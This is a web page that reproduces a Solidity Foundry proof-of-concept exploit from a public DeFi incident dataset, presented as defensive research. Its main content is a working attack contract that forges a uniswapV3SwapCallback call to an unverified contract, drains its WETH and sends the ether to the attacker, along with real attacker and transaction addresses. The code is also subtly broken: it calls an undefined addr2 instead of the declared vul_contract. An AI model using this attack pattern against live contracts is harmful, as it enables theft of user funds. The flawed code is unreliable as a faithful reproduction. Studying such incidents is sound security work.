Public reproduction file
src/test/2024-09/unverified_03f9_exp.sol
Public reproduction file for dataset entry Unverified_03f9.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : $1.7k7// Attacker : https://etherscan.io/address/0xf073a21f0d68adacfff34d5b8df04550c944e3488// Attack Contract : https://etherscan.io/address/0xd683b81c2608980db90a6fd730153e04629ff1a39// Vulnerable Contract : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c010// Attack Tx : https://etherscan.io/tx/0x1a3e9eb5e00f39e84f90ca23bd851aa194b1e7a90003e3f6b9b17bbb66dabbb912// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c015// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/183448879695367386217// Twitter Guy : https://x.com/TenArmorAlert/status/183448879695367386218// Hacking God : N/A20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;21address constant vul_contract = 0x03F911AeDc25c770e701B8F563E8102CfACd62c0;22address constant attacker = 0xf073a21f0D68aDaCfff34D5b8DF04550c944e348;24contract ContractTest is Test {25 function setUp() public {26 vm.createSelectFork("mainnet", 20737848);27 }29 function testPoC() public {30 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);31 vm.startPrank(attacker, attacker);32 AttackerC attC = new AttackerC();33 // deal(address(attC), 0.7370354703656878 ether); // give only ether34 deal(weth9, address(attC), 737035470365687849); // give WETH35 attC.attack();36 vm.stopPrank();37 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);38 }39}41// 0xD683B81c2608980DB90a6fD730153e04629ff1A342contract AttackerC {43 receive() external payable {}45 function attack() public {46 bytes memory data = abi.encode(47 address(weth9),48 address(this),49 uint256(10000)50 );51 (bool ok, ) = addr2.call(52 abi.encodeWithSelector(53 bytes4(keccak256("uniswapV3SwapCallback(int256,int256,bytes)")),54 int256(737035470365687848),55 int256(-18035979692517947),56 data57 )58 );59 require(ok, "callback failed");61 uint256 bal = IWETH9(weth9).balanceOf(address(this));62 IWETH9(weth9).withdraw(bal - 1);63 // here, we didn't transfer ether to the block.coinbase64 payable(msg.sender).transfer(address(this).balance);65 }67 fallback() external payable {}68}70interface IWETH9 {71 function withdraw(uint256) external;72 function balanceOf(address) external view returns (uint256); 73}Analysis
Dataset entry
Public Foundry test for “Unverified_03f9” (2024-09-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-09/Bedrock_DeFi_exp.solSame month in the dataset · 155 lines
- src/test/2024-09/DOGGO_exp.solSame month in the dataset · 145 lines
- src/test/2024-09/OnyxDAO_exp.solSame month in the dataset · 340 lines
- src/test/2024-09/OTSeaStaking_exp.solSame month in the dataset · 109 lines
- src/test/2024-09/Penpiexyzio_exp.solSame month in the dataset · 449 lines
- src/test/2024-09/Pythia_exp.solSame month in the dataset · 103 lines
- src/test/2024-09/Shezmu_exp.solSame month in the dataset · 76 lines
- src/test/2024-09/unverified_5697_exp.solSame month in the dataset · 40 lines
- src/test/2024-09/unverified_766a_exp.solSame month in the dataset · 74 lines
- src/test/2024-09/WXETA_exp.solSame month in the dataset · 81 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2025-05/unverified_0000_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2025-02/unverified_35bc_exp.solSame protocol or name in the dataset · 91 lines
- src/test/2024-08/unverified_667d_exp.solSame protocol or name in the dataset · 65 lines
- src/test/2025-08/unverified_6f7a_exp.solSame protocol or name in the dataset · 229 lines
- src/test/2025-06/unverified_8490_exp.solSame protocol or name in the dataset · 108 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xf073a21f0d68adacfff34d5b8df04550c944e348
- Attack Contract
0xd683b81c2608980db90a6fd730153e04629ff1a3
- Vulnerable Contract
0x03f911aedc25c770e701b8f563e8102cfacd62c0
- Attack Tx
0x1a3e9eb5e00f39e84f90ca23bd851aa194b1e7a90003e3f6b9b17bbb66dabbb9
- Post: https://x.com/TenArmorAlert/status/1834488796953673862
- Explorer: https://etherscan.io/address/0xf073a21f0d68adacfff34d5b8df04550c944e348
- Explorer: https://etherscan.io/address/0xd683b81c2608980db90a6fd730153e04629ff1a3
- Explorer: https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0
File record
- Name
- Unverified_03f9
- Path
- src/test/2024-09/unverified_03f9_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3240a32e296115e309684d8ba18fceabd4e0e4d7
- Language
- Solidity
- Size
- 73 lines
- Date
- 2024-09-12
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-09/unverified_03f9_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3240a32e296115e309684d8ba18fceabd4e0e4d7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.